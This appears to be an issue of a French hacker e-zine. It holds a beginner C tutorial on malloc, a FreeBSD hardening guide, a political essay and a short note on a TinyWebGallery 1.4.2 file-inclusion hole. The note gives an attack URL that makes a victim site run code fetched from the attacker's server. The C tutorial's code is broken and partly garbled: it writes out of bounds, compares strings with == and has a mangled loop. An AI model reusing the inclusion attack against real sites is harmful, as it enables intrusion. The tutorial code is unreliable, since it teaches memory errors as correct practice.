
####

####

##

##

    #include
    #include
    #include

    /* Un mec je sais plus qui, a un jour inventé l'algorithme de l'ajout de 1 ou 1 unité et c'est
    la raison pour laquelle le srckitoy1 vint le srckitoy2 eh oui c'est comme le mot connerie
    dont mon intro à la con répond a sa définition.

    * Bon alors on va parler de quoi dans ce cour? Eh bien c'est une bonne question. On va parler
    des allocations mémoires.
    * --- ---                               --- ---                                     --- ---
    *  Alors premièrement pourquoi avons-nous besoin de mettre des données en mémoire. Tout
    simplement car vous sortez d'une fonction le programme détruit toutes les variables qui ont
    était créé a l'intérieur vous me direz oui, mais avec la fonction return on peut garder le
    résultat et je vous poserai la question suivante Eh on veut sauvegarder plusieurs variables de
    type différent? Bah voila pourquoi on a besoin de mettre des données en mémoires pour
    sauvegarder plusieurs variables de types différentes ou non.il faut savoir aussi que le langage C
    est un langage dit bas niveau c'est-à-dire que ce langage est dit près du langage machine.
    Ce qui fait nous contrôlons le type de variables, les blocs qu'on alloue dans la mémoire
    contrairement aux langages dits haut niveau qui font ça automatiquement. Donc, voila comment
    ça se passe brièvement dans notre programme quand nous appelons notre fonction:  Il crée les
    variables qu'on indente et les met dans la pile du programme, le programme exécute les
    instructions qui composent la fonction appelée et ensuite detruit complètement les variables
    crée, et donc notre mission dans ce cour sera d'allez les sauver et de leur trouver un refuge
    (dans la mémoire) eh ouais c'est comme les inondations la vers chez on va chercher les gens qui
    sont dans l'eau et on les stocke dans des maisons ou des établissements bah la on va faire
    pareille ;).

    *  */
    typedef struct victimes_s{
        int age_vict;
        char nom_vict[16];
        int f_ou_m;
    }victimes_t;

    /* Bon alors ici je créer un type de variable c'est a dire par exemple un int vous la variable
    pour les chifres ;). Eh ben la c'est pareil sauf que mon type de variables peut contenir des
    chiffres et des lettres, mais non pas l'émission rhaaaa :D.
     * */

    victimes_t *gen_victimes(int nbr){

      victimes_t *vict[nbr]; // Bon ici on créer un tableau de une case ou une liste de victimes.
      char *nom[5];
      int nbr_name, age, mf;
      nom[0] = "robert";
      nom[1] = "bernard";
      nom[2] = "loulou";
      nom[3] = "cosette";
      nom[4] = "abdel aziz";
      nom[5] = "fatima";

      /* Bon au-dessus bien je créer une liste de chaines de caractère qui contiendra les noms qui
    seront pris au hasard*/

      vict[nbr] = malloc(sizeof(victimes_t));

    /* Ici on construit l'abri de la victime c'est qu'on
    lui donne un espace pour s'installer, en langage informatique :
    on créer de un espace dans la mémoire = a la taille de notre variable . Par exemple si on
    aurait mis  malloc(sizeof(int)); on aurait occuper 16bits de plus en mémoire sois 2 octects
    car  1 octect = 8bits. */

      age = 7+(int) (70.0*rand()/(RAND_MAX+1.0));  //Cette fonction nous genï¿½es un nombre au hasard
                                                   //entre 7 et 77
      vict[nbr]->age_vict = age;

      nbr_name = 0+(int) (6.0*rand()/(RAND_MAX+1.0));// mï¿½e chose ici avec une intervalle de 0 a 6
      strcpy(vict[nbr]->nom_vict, nom[nbr_name]);

      if(nom[nbr_name] == "loulou" || nom[nbr_name] == "cosette" || nom[nbr_name] == "fatima")
        {
          mf = 1;
        }
      else{
        mf = 0;
      }

      /* La fonction ci-dessus teste si le prénom est un prénom de femme ou un prénom d'homme et
    indente mf de 1 si c'est une femme et de 0 si c'est un homme eh oui si on avait pris la
    fonction rand on serait retrouver avec une femme robert ou abdel aziz :s */

      vict[nbr]->f_ou_m = mf;

      return vict[nbr];
    }

    int main(){
      int nbr, i;
      victimes_t *vict[nbr];

      printf("Bonjours je suis dieu et mon seul pouvoir est de faire des victimes dans le monde. \n
               dis moi combien veux-tu de victimes? \n :");
      scanf("%d", &nbr);

      for(i=0; inom_vict);
        printf("AGE: %d \n", vict[i]->age_vict);

        if( vict[i]->f_ou_m == 1){
          printf("SEXE: femme \n");
        }
        else{
          printf("SEXE: homme \n");
        }

        free(vict[i]);

    /* Qpres avoir utiliser l'espace mémoire on le libère pour faire les choses proprement vous
    savez quand votre mère vous dit "Tu pourrai lever ta table " Ben la c'est pareil il faut
    débarrasser la mémoire bon ... l'ordis il est comme votre mère si vous ne débarrassez votre table
    a la sortie du programme l'ordinateur le fera comme votre mère quand vous sortez de la cuisine ;)
    MAIS C'EST PAS UNE RAISON POUR NE PAS LE FAIRE !!!! */

        }

      return 0;
    }

    /* Bon voila c'est tout je sais que mes sources sont très très courtes, mais bon comme ils
    s'adressent a des débutants c'est mieu de faire une chose à la fois sinon ils s'embrouillent très
    vite voila en espérant que cette source vous aidera je vous souhaite a tous une bonne continuation
    dans le codaz et je vous donne rendez-vous pour le 3eme numero qui traitera normalement sur le
    réseau */

    //Source sous license GPL Bien que... on risque pas de pomper dessus ;)

    Écrit par Kitoy

         __  __           __  _____
        / / / /___ ______/ /_|__  /   _____  _____
       / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
      / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /
     /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/     - (c)Hack3ver - All rights reversed.

    topic

    _________________________________________________________
                                                             |
     Entre-Articles                                  Wyzeman |
    _________________________________________________________|
        |    /   /                           |
        |   /   /                            |
        |  /   /                             |
        | /   /                              |
        |/   /                               |
        |   /                                &
        |  /                                 &
        | /                                 / \
        |/                  [ Les Vulgaires Ordis, Buffer sans fond ]
        |
        |  J’ veux rien savoir d’ la qualité, j’ veux qu’ y ’ ait beaucoup de pages
        |  J’ collectionne les cahiers qui me parlent de rootage
        |  J’ me gave sans fin des zarticles divers jusqu’ à l’indigestion
        |  Je suis mal informé, les ezine ont bien raison
        |  Je suis comme un buffer sans fond
        |  Je suis comme un buffer sans fond
        |  c’est devenu dramatique ; j’ sais pu c’ qui faut que j’ fasse
        |  Je sais tout sur Neda et sa vie avec Binf
        |  pour combler le vide de ma vision globale
        |  J’ai tous les arguments débile sur le système unix
        |  Je suis abonné au Ezine de Mindkind
        |  Je suis abonné au Ezine
        |  20 haxors à 2 balles, lancent 20 exploits pareils
        |  Un homme se firewall et paquet drop internet
        |  Binf se fait poser une byte en métal
        |  Nous enregistrons une baisse dans le Q.I. général
        |  Je suis abonné au Ezine de Mindkind
        |  Je suis abonné au Ezine de Mindkind
        |  Je suis comme un buffer sans fond
        |  Je suis comme un buffer sans fond
        |
        |
        |
        |
        |
    ____|

        _____   ________ ________ ______ ____ __  __   _
      /____/  /       //       //  /\  \\   \\ \ \ \  \\   \
       ___   /   ____//_______//__/  \__\\___\\_\ \_\  \\   \
      |   | |   /                /    \
      |   | |  |                /  /\  \
    __|___|_|__| _______ ___ __/__/__\__\__ ___ __  __   _
    __\\________\\______\\__\\____________//__//_/ /_/  //  /
      |\\ | |  |     |  |    /  /      \  \
      | \\| |   \___/   |   /  /   /\   \  \
      |  \   \         /   /  /   /  \   \  \
       \  |   \_______/   /  /   / /\ \   \  \
    __|\\ |______________/  /___/ /  \ \___\  \____ ___ __  _
      | \\|                    / /    \ \
      |__\.

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ 10 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [        Securisation dune FreeBSD         ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ]    Oda   [     |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

     Après avoir installé un FreeBSD la grande question est à présent : comment la sécurise un peu
    plus qu'elle ne  l'est déjà??

     I) Changement de cryptage par défaut de mot de passe utilisateur :

        Par défaut FreeBSD propose le cryptage md5 pour les mots de passe. Or l'OS propose le
    Blowfisg pour modifier le cryptage fait un vi /etc/login.conf et modifiez ceci :

       :passwd_format=md5:\

     par

       :passwd_format=blf:\

        Voila a present pour que les modifs soient prises en compte faites :
        cap_mkdb /etc/login.conf

        À présent il faut préciser a la commande adduser que l'on a modifié de cryptage pour cela
        ajouter la ligne suivante dans /etc/auth.conf :

        crypt_default = blf

     Maintenant il n'y a plus qu'a modifier vos mots de passe via passwd pour que le nouveau cryptage
    soit pris en compte.

     II) Niveau de sécurité du noyau :

        II-1) Characteristique chflags :

        Il est possibles sous freeBSD d'interdire certaines actions sur des fichiers mêmes à root. Cela
    peut s'avérer utiles par exemple dans le cas ou les fichiers de log ne peuvent être supprimer,
    dans ce cas sur une machine compromise le hacker devenu root ne pourra supprimer ces traces...

        Il existe differents degre de protection :
        arch : le fichier devient une archive
        sappend : on ne peut que rajouter des donnes a un fichier plus en retire (cas de mon
                  exemple pour les log)
        schg : empêche la suppression + changement de droits sur le fichier
        sunlnk : empêche la suppression du fichier

        Pour modifier un attribut il suffit de faire :
        chflags sappend /var/log/*.log
        Pour retirer un attribut :
        chflags nosappend /var/log/*.log

        II-2) Niveau de sécurité :

           Sous FreeBSD il existe plusieurs niveaux de sécurité kernel :
           niveau -1 : valeur par default
           niveau 0  : les files chflags du type schg et sappend peuvent être retirés
           niveau 1  : les files chflags du type schg et sappend ne peuvent pas être retirés
                       /dev/mem et /dev/kmem est interdit en ecriture
                       impossible de charger des modules kernels
           niveau 2  : idem que niveau 1 avec en plus que seul le montage et démontage des disques
                       sont permit
           niveau 3  : idem a 2
                      impossible de modifier les règles du pare-feu

          Pour choisir un niveau de sécurité ajouter une ligne de ce type dans le fichier
          /etc/rc.conf

          kern_securelevel_enable="YES"
          kern_securelevel="X"
          Ou X est un des chiffres ci-dessus.
          Pour modifier un secoure level a chaud il suffit de faire sysctl kern.securelevel=X
          Toujours avec X un des chiffres du dessus.

        II-3) Etude de cas :
           Pour ceux qui n'aurait pas bien saisi le but de ces options voici un exemple concret :

           Sur la machine je fait un chflags sappend /var/log/*.log ce qui rend les logs
    indestructibles, si je laisse le kernel par default en niveau -1, un utilisateur devenu root
    pourra retire la protection par contre en secure level a 1 ou plus même root ne pourra retirer
    ces arguments et donc ne pourra pas effacer ces traces.

     III) Sysctl :

        Sysctl permet de modifier les comportements du système, un sysctl -a vous liste tout ce qui
    peut être modifié :

     Voici quelques exemples bien pratiques :

        - security.bsd.see_other_uids : si la valeur est a 0 les utilisateurs ne verront que leur
          propre precessus lors d'un ps  et pas ceux de root ou des autres utilisateur.
        - net.inet.udp.log_in_vain : si la valeur est a 1, dans /var/log/message apparaitra les
          tentatives de connexion sur les ports qui ne sont pas en écoute sur votre machine.
        - net.inet.tcp.log_in_vain : idem pour tcp
        - net.inet.tcp.blackhole : permets de ne pas répondre au packet en erreur
        - net.inet.udp.blackhole: idem pour udp
        - net.inet.ip.random_id : si la valeur est a 1, permet d'incrémenter les packet de maniere
          aléatoire et pas de 1 en 1
        - net.inet.ip.ttl : modifie le ttl d'un packet Pour eviter qu'un utilisateur sature votre
          serveur regardez aussi du cote de :
        - kern.maxprocperuid
        - kern.maxfilesperproc
        - kern.maxfiles
        - kern.ipc.somaxconn
        - kern.ipc.maxsockbuf

        Pour éviter de setter les paramètres a chaque démarrage mettez les en place dans
    /etc/sysctl.conf qui sera lu au boot de la machine.

     IV) Jail :

        Une jail est une prison cela sert a enfermer vos services dans un chroot évolué disposant de
    sa propre adresse ip. Cela permet qu'en cas d'attaque de votre serveur web le reste de la machine
    soit sain. Isoler les services est primordial. Si le hacker arrive a etre root sur votre jail il
    ne l'a pas sur le système en entier.

        Pour créer une jail (qui se rapport a un pseudo machine virtuelle) voici le procédé :
        cd /usr/src
        mkdir /prison
        make world DESTDIR=/prison
        make distribution DESTDIR=/prison

        À partir de la tout un OS se créer dans /prison
        Pour lance la prison faite :
           ifconfig ral0 inet alias 192.168.0.69 netmask 255.255.255.0 #pour créer la prison sur
                                                                        l'adresse 192.168.0.69 modifiée
                                                                        ral0 par votre interface reseau
           /sbin/mount_devfs devfs /prison_challenge/dev # créer les devices de la jail
           /usr/sbin/jail /prison_challenge/ prison_challenge 192.168.0.69 /bin/sh /etc/rc #lance la jail
                                                                                            et les services
                                                                                            Pour accéder a
                                                                                            la jail et
                                                                                            modifier ces
                                                                                            parametres la
                                                                                            commande :
           /usr/sbin/jail /prison_challenge/ prison_challenge 192.168.0.69 /bin/sh

        Vous ouvre directement un sh dans votre prison....

     Voilà quelques cartes vous permettant de sécuriser un peu votre machine et de bien isole les services
    en cas de compromission du système.

    UNE VERSION AVEC SCREENSHOT EST DISSPONIBLE SUR http://www.hackever.org

     Écrit par Oda
         __  __           __  _____
        / / / /___ ______/ /_|__  /   _____  _____
       / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
      / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /
     /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/     - (c)Hack3ver - All rights reversed.

    topic

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ 11 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [          Les feseux de veriter           ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ]    C4    [     |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

    Nous ne sommes que peu nombreux à y voir clair. C'est la conclusion d'un certain  faiseur
     de vérité, un certain clarity guy, qui nous explique, de son mieux,  le  socialisme.   La
     mondialisation, dit-il, ne peut échapper à aucun peuple. Force est de constater  que   ce
     monsieur, aussi bien parlant soit-il,  profite de ce régime, et ne veut en aucun cas  son
     effondrement. Certes, on voudrait bien croire  qu’il agit de sorte de  bonne   foi.  Mais
     plus souvent qu'autrement, pour ne pas dire à tout les coups, les gardes du corps   de la
     mondialisation ne sont que des biens nourris, à qui cette sois   disant   "ouverture   du
     monde" leur servent plus que bien.

     Si le socialisme n'est nullement souhaitable, il serait de mise, que ce monsieur, pour ne
     pas dire ces messieurs, aille   se faire voir.  Ces   pauvres    types   prétendent   que
     l'avènement d'un état socialisme serait égal à une  société  contre  la   mondialisation.
     Méchante découverte! Comme si la mondialisation, le capitalisme et l'impérialisme étaient
     trois sujets complètement séparés l'un de l'autre. Je l'ai déjà dit, je l'avoue, mais ces
     trois phénomènes ne sont en réalité qu'un vaste sujet.

     Évidemment, notre faiseur de vérité en fait tout un plat. A l'écouter parler, on croirait
     qu'il faut avoir un doctorat en politique pour comprendre. Pas étonnant que le commun des
     mortels s'en désintéresse.

     Hors de tout doute, ces messieurs ne veulent pas qu'ont comprennent.  Déjà,   comprendre,
     c'est en quelque sorte se donner le droit de réfléchir. Avec   toute  la  crasse    qu'on
     nous passe, de Stars Épidémie à Loft Connerie, de King Kong à  Mission   Impossible   42,
     c'est  encore plus plausible que leur but, c'est de nous  divertir et surtout,  de   nous
     divertir à tout prix. Ces profiteurs du système n'ont  pas  le droit  de   nous   laisser
     comprendre.

     Alors on complique tout. Pour qu'ont se sentent dans une  société juste,  on nous repasse
     les débats habituels : le prix du gaz, les familles monoparentales, on nous parle de tout
     et de rien, mais surtout de rien. Et le reste, ça passe dans le   beurre.   Les   pseudos
     "nouvelles" que l'on nous passent via nos différents systèmes de  propagandes médiatiques
     ne sont en réalité qu'un vaste recueil de divertissement.

     On a réussi, par le biais d'une désinformation totale, à faire passer une loi  digne d'un
     régime totalitaire. Plus aucune cigarette dans les endroits publics.   C'est   tu   assez
     gentil ? On se croirait au Pays des Merveilles,  dans  un  film   de Walt Disney.    Tout
     le débat  a   été concentré autour de la  cigarette,   alors   qu'on  aurait   du  parler
     de  l'implication  d'un gouvernement de droite dans nos vies,  pour  ne  pas  dire  Lieux
     privés. Notre gouvernement, qui taxe le tabac, engendre une mission de  bonne conscience,
     et on  l'applaudit. Comme si  on était trop cave pour savoir  que   la   cigarette    est
     néfaste. Demain ça va être quoi ?  L’interdiction  des  petites grosses dans les   salons
     de  coiffure ? Ça pourrait être un bon prétexte pour   se  blanchir les mains   de  leurs
     cochonneries de fast food américain.

     L'autre soirée, un certain type, dont j'oublie malheureusement le nom,   ma  demandé   si
     j'étais fou, puisque je prétendais, dans la même discussion, que nous sommes   un  peuple
     opprimé. Il avait relativement raison; j'ai déjà avoué être à moitié  fou.   Je  ne  m'en
     cache pas. La question à se poser, c'est de savoir pourquoi on verrait,  au  grand  jour,
     notre oppression ?   Un système  d'oppression,   en  construction  depuis  des  centaines
     d'années, parfaitement  mis  au  point ne serait que complètement raté si on s'en rendait
     compte aussi facilement. Or, tel n'est  pas   le  cas. Et tel n'est rarement le cas, dans
     tout les systèmes d’oppression confondus. A quoi bon construire un  système  d'oppression
     s'il faut l'afficher sur les murs ?  Ici, vous êtes opprimés.  Ici,   c'est  moins  pire.
     Ici, beaucoup plus. C'est quand même un peu plus subtil que ça . Loin de moi l'idée de me
     faire passer pour un messager venu des ténèbres pour vous apporter la bonne  nouvelle ...
     mais plusieurs personnes dorment  en gaz.   Faudrait penser  à   les réveiller,  un jour.
     Leur brasser les idées, juste pour voir ce qu'il en ressort.

     Enfermez un chien dans une cage toute sa vie, et il finira par  s’y  faire.   Il  ne   se
     révoltera  qu'après avoir pris conscience (pour citer Orwell) de la pitié  de  son  sort.
     Un minimum d'intelligence requis, évidemment. Mais tel n'est pas le cas présentement pour
     un chien : il finira pas s'y habituer.

     Il en va de même pour l'humain. L'habitude peut devenir une sécurité très  réconfortante.
     A  quoi   bon se révolter, diront certains ? A ceux-ci, je  leur répondrais    que   leur
     "belle vie"  se  caractérise par la révolte des dernières décennies.   Alors  maintenant,
     Ceux   qui profitent tant bien de la révolte des   autres, ne veulent   plus   avancer ?
     Sans la  révolution française, où en serions  nous présentement ?  Personne  ne   connait
     évidemment  la réponse, mais on peut affirmer, sans trop  se tromper,   que   l'on serait
     encore  plus opprimés. Sans Malcolm X, que se serait-il passé ?  Sans Luther king Jr. que
     se serait-il passé pour le droit des noirs ? Sans Mary Wollstonecraft, où en seraient les
     droits   des  femmes ? Évidemment, on ne peut que répondre  de  façon   hypothétique,  en
     avouant, du  même  souffle, que ces personnes ont chacunes fait avancer leur cause. Alors
     maintenant, me direz  vous, il faut oublier ces héros et s'assoir sur    ce  qu'ils  ont
     commencé à bâtir ?   C'est pourtant la conclusion de l'autre tarla, le faiseur de vérité.
     Assez farfelu comme  vérité, je vous l'accorde.

     Il s'agit de la seule et unique vérité qui nous pollue le cerveau,  minute après minute,
     heure après heure, jour après jour. Le politically correctness ne nous permet  plus  de
     réfléchir, sous peine d'être arrogant, méchant, impoli, vulgaire.   La  révolution  n'est
     plus souhaitable, ni le  socialisme,  ni  rien,  prétendent-ils.   Qu'est-il  souhaitable
     alors ? Qu'on sauvegarde leur régime ?  Qu’on  continue de les aider,   passivement, à se
     remplir les poches ? Qu'on change de coté ?

     Collectivement, ça fait des décennies que l'on se laisse faire, qu'on les regarde de bas,
     de très bas. Ne faudrait toujours pas frustrer l’ordre établi, ne  faudrait  surtout  pas
     ébranler la "patente". Des plans  pour se faire traiter d'extrémiste par les vieux bloucs
     de la mafia canadienne. Des plans pour se faire varloper à droite et à gauche,  car on a
     osé réfléchir. C'est ben plus  intéressant de faire un dossier de 9 pages sur les débats
     amoureux  de l'autre twit dans loft connerie. Ca, c'est de la résistance, hein monsieur ?
     Ça, c'est ce qu'ils aiment.

     Alors demain, à mon réveil, mieux vaut  parler  du   swiffer wet jet 2008,  j'aurais  été
     averti. Avec toute la puissance que cet appareil me donne, ainsi qu'une liberté   absolue
     dans mes mouvements, comment ne  pourrais-je pas  baver  devant  cette  merveille  de  la
     technologie ? (...)

     Blague à part, on se rend compte assez vite que nos aspirations peuvent  être  rapidement
     minimisées. Pour certains, nous sommes  que    des  wannabe   Che  Guevara,  des  pseudos
     socialistes,  des ti-counes qui tripent sur la révolution. Peut-être,  ça  nous   arrive
     tous, un jour ou l'autre, de se prendre au sérieux. Peut-être même trop,   des  fois  pas
     assez, des fois pas du tout. Et alors ? On va se laisser faire la morale par une gang  de
     bourgeois grassement payés ? Comme disait Léo Ferré, ce  qui   est  encombrant   dans  la
     morale, c'est que c'est toujours la morale des autres. Alors cette fois ici,  c'est notre
     morale. Pas la leur, pas celle de leur patron, pas celle du PDG, pas celle   du   premier
     ministre,  pas celle d'un curé de paroisse. C'est la nôtre : c'est  notre   pensée,   nos
     idées,  nos  rêves,  nos aspirations. A un moment donné, faudrait  arrêter de les écouter
     radoter leur  même toune plate. J'ai le gout de chanter un autre toune, celle  que   j'ai
     apprise.  J'ai  été mal élevé, probablement.   Mais  j'ai  le gout,   aujourd'hui,  qu'on
     chante  notre toune.  Celle que Orwell chantait, celle que Camus chantait. Celle que  Léo
     Ferré  nous  a  apprise à chanter. La même toune qui passait dans les neurones   révoltés
     de  Malcolm X.   Cette  toune la, sacrament, c'est celle-là que je  veux  chanter,  avec
     tous ceux et celles qui veulent la chanter.

     Plus besoin d'explication. Fini, na pu. Si les  fesseux de vérité affirment, sans l'ombre
     d'un doute, que le socialisme mène à la  destruction d'un pays,    pourquoi   je  devrais
     justifier  mes dires ? Non, le socialisme ne mène pas à la destruction de l'état. Il faut
     minimiser l'écart entre les riches et les pauvres. C'est  pas  très compliqué,  me semble ?
     Pourquoi, de notre côté, on doit passer notre vie à se  justifier ?  Eux,  ils  ont   des
     chiffres de leur  côté. Mais ce qu'ils ne nous disent  pas,  c'est   que  ce  sont  leurs
     chiffres.    Nous,  on a notre  parole,  notre  intelligence,  notre  imagination,  notre
     détermination. Oui, le socialisme est souhaitable. Il  est  nécessaire  et   justifiable.
     Arrêtons de perdre notre temps à se justifier, jour après jour.

     Nécessaire et justifiable. Cette fois ici, c'est notre vérité, c'est notre moral,   c'est
     notre refrain.   Il n'y a pas de deuxième place, ni  de    pseudo    socialisme.   Qu'ont
     en  finissent une  bonne fois   pour   toute  avec  le  capitalisme,   le   colonialisme,
     l'impérialisme américain et le néo-libéralisme canadien.

                                                                                  c4.

     "Ce n'est pas la révolte en elle-même qui est noble, mais ce qu'elle exige."

     - Camus, (L'homme révolté)

    topic

    _________________________________________________________
                                                             |
     Entre-Articles                                      Oda |
    _________________________________________________________|
        |    /   /                           |
        |   /   /                            |
        |  /   /                             |
        | /   /                              |
        |/   /                               |
        |   /                                &
        |  /                                 &
        | /                                 / \
        |/                         [ Petite Faille Web ]
        |
        |  Hier je m'amusais a lire du code source et je suis tombé sur
        |  TinyWebGallery dans mon cas la version 1.4.2 j'ai pas essayé
        |  sur les autres. Dans l'appli ils fournissent des exemples dans
        |  le répertoire exemples du répertoire d'installe... En lisant un
        |  peu le code je tombe sur un fichier image.php qui contient :
        |
        |  include ($image . ".txt");
        |
        |  Ben ca alors ils auraient carrément pu l'appeler HACKME.php...
        |  smile ( CF faille include ) à partir de la je dépose un fichier
        |  oda.txt qui fait ceci sur mon serveur :
        |
        |
        |  et je fait un
        |  http://sitevictime.com/examples/page.php?http://monserveur.com/oda
        |  et la haut miracle ca exécute la commande chez la victime...
        |
        |
        |  Bon voila l'explication d'une simple faille include mais dans le
        |  cas d'un produit tout fait que n'importe qui peut installer chez
        |  lui smile Pour se protéger je vous conseille de virer les exemples
        |  qu'ils fournissent avec leurs applis.
        |
        |  UNE VERSION AVEC SCREENSHOT EST DISPONIBLE SUR http://www.hackever.org
        |
    ____|  Ecrit par Oda

               __  __           __  _____
              / / / /___ ______/ /_|__  /   _____  _____
             / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
            / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /
           /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/     - (c)Hack3ver - All rights reversed.

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ 12 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [          Things that goes BOOM           ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ]   Ninja  [     |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

                        "Things that goes BOOM"

        " Ninja Production Present "

